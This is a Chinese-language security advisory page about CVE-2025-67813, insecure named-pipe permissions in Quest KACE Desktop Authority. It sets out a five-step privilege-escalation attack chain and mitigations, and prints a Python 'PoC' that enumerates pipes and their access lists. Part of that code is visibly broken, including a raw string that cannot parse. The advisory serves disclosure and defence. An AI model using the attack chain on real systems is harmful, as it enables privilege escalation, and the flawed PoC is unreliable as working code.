IPBUF安全漏洞报告
English
CVE-2025-67813 CVSS 5.3 中危

CVE-2025-67813: Quest KACE Desktop Authority 命名管道权限漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-67813
漏洞类型
权限配置错误
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Quest KACE Desktop Authority

相关标签

权限配置错误命名管道本地权限提升Quest KACEDesktop AuthorityIPC漏洞CVE-2025-67813Windows安全

漏洞概述

CVE-2025-67813是Quest KACE Desktop Authority软件中的一个权限配置安全漏洞。该漏洞存在于软件用于进程间通信(IPC)的命名管道(Named Pipes)中,由于权限设置不安全,攻击者可以在本地利用低权限账户访问这些命名管道,从而可能进行未授权的操作或提升权限。KACE Desktop Authority是一款企业级桌面管理解决方案,广泛用于Windows系统的集中管理和配置。由于该漏洞允许低权限攻击者在本地环境下访问本应受保护的通信通道,攻击者可能通过操纵IPC通信来执行恶意操作或影响系统完整性。CVSS 3.1评分为5.3,属于中等严重程度,主要因为攻击复杂度低且不需要特殊权限或用户交互即可利用。

技术细节

Quest KACE Desktop Authority在11.3.1及之前版本中,其进程间通信机制使用了Windows命名管道(Named Pipes)进行客户端与服务端之间的通信。然而,这些命名管道的访问权限配置不当,允许低权限用户读取、写入甚至执行通过这些管道的操作。命名管道是Windows系统中进程间通信的重要机制,通常需要严格的访问控制来确保通信安全。攻击者可以通过以下方式利用此漏洞:首先识别KACE Desktop Authority创建命名管道的模式;然后使用低权限账户访问这些管道;接着通过注入恶意请求或读取敏感数据来破坏系统完整性或获取未授权信息。由于该软件通常以较高权限运行以执行管理任务,攻击者可能利用不安全的IPC通道进行权限提升或执行远程代码。攻击者需要本地访问权限,但不需要特殊权限或用户交互,这使得漏洞利用门槛相对较低。

攻击链分析

STEP 1
1
信息收集:攻击者首先识别目标系统上运行的Quest KACE Desktop Authority服务,并确定其版本是否在11.3.1或更早版本
STEP 2
2
枚举命名管道:攻击者使用系统工具或自定义脚本枚举KACE服务创建的命名管道,检查其访问权限配置
STEP 3
3
权限分析:利用低权限账户访问不安全的命名管道,分析管道通信协议和数据格式
STEP 4
4
注入恶意请求:通过写入恶意数据或命令到命名管道,尝试触发未授权的操作或服务行为
STEP 5
5
权限提升或代码执行:利用KACE服务的高权限上下文执行恶意操作,可能实现本地权限提升或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67813 PoC - Quest KACE Desktop Authority Named Pipe Enumeration # This PoC demonstrates enumeration of named pipes with weak permissions import win32security import win32api import ntsecuritycon as con import os def enumerate_named_pipes(): """Enumerate all named pipes and check their security descriptors""" print("[*] CVE-2025-67813 - KACE Desktop Authority Named Pipe Enumeration\n") # Common KACE Desktop Authority named pipe patterns kace_pipe_patterns = [ "KACE_*", "DA_*", "\\\\.\\pipe\\KACE*", "\\\\.\\pipe\\DA*" ] # Use PowerShell to enumerate named pipes ps_script = ''' Get-ChildItem \\.\pipe\ | Select-Object Name, FullName ''' print("[*] Enumerating named pipes...") # Check if current user has access to pipes try: # Attempt to open a common pipe path pipe_path = r"\\.\pipe\" handles = os.listdir(r"\\.\pipe\") print(f"[+] Found {len(handles)} named pipes") for handle in handles: if any(pattern.replace("*", "") in handle for pattern in ["KACE", "DA"]): print(f"[+] Potential KACE pipe found: {handle}") # Check DACL for the pipe try: sd = win32security.GetFileSecurity( rf"\\.\pipe\{handle}", win32security.DACL_SECURITY_INFORMATION ) dacl = sd.GetSecurityDescriptorDacl() if dacl: print(f"[*] DACL entries for {handle}:") for i in range(dacl.GetAceCount()): ace = dacl.GetAce(i) print(f" - ACE {i}: {ace}") except Exception as e: print(f"[-] Could not check DACL: {e}") except Exception as e: print(f"[-] Error enumerating pipes: {e}") def check_privilege_escalation(): """Check if low-privilege access to KACE pipes could lead to privilege escalation""" print("\n[*] Checking for potential privilege escalation vectors...") # Check current user privileges try: token = win32security.OpenProcessToken( win32api.GetCurrentProcess(), win32security.TOKEN_QUERY ) print(f"[+] Current process token: {token}") # Check if we can access KACE service print("[*] Attempting to identify KACE service named pipes...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": enumerate_named_pipes() check_privilege_escalation() print("\n[*] Note: This is for authorized security testing only")

影响范围

Quest KACE Desktop Authority <= 11.3.1

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1) 限制KACE Desktop Authority服务的网络访问,仅允许受信任的管理工作站连接;2) 使用Windows本地安全策略(Local Security Policy)加强命名管道访问控制,移除不必要的用户和组对KACE管道的访问权限;3) 监控事件日志中的异常IPC通信行为;4) 考虑在虚拟化环境中隔离KACE服务以限制潜在攻击影响范围;5) 确保KACE服务器与其他关键系统网络隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表